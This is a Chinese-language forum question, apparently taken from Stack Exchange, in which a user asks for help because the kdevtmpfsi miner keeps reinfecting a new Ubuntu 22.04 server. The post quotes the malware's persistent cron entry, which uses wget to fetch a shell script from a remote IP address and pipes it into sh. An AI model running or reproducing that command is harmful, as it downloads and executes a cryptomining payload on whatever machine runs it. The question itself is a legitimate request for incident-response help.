Ubuntu 22.04服务器遭kdevtmpfsi恶意软件感染求助
Ubuntu 22.04服务器遭kdevtmpfsi恶意软件感染求助
我刚搭建好的服务器就被kdevtmpfsi恶意软件感染了。我查了不少文章,都讲如何彻底清除这个恶意软件,但试下来没有一个方法对我管用。每次折腾一番“清理”完系统,过几个小时它就会卷土重来,还把CPU占用拉到100%。
我了解到这类服务器感染大多是通过Redis或Docker途径,但我根本没有使用Redis。
在服务器的/tmp目录下,有一个/tmp/kdevtmpfsi/文件夹。有些教程建议执行chmod 000 /tmp/kdevtmpfsi来限制这个文件的访问权限,但哪怕我用root身份执行这个命令,还是会收到Operation not permitted(操作不被允许)的报错。
我运行crontab -l查看定时任务时,发现了这一行:
* * * * * wget -q -O - http://185.122.204.197/sc.sh | sh > /dev/null 2>&1
我当然立刻把这行从定时任务里删掉了,但没过几分钟它又自动恢复了。
我还尝试用nmap工具扫描服务器的开放端口,得到了对应的端口扫描结果截图。
备注:内容来源于stack exchange,提问作者user984621
相关产品推荐
相关产品推荐

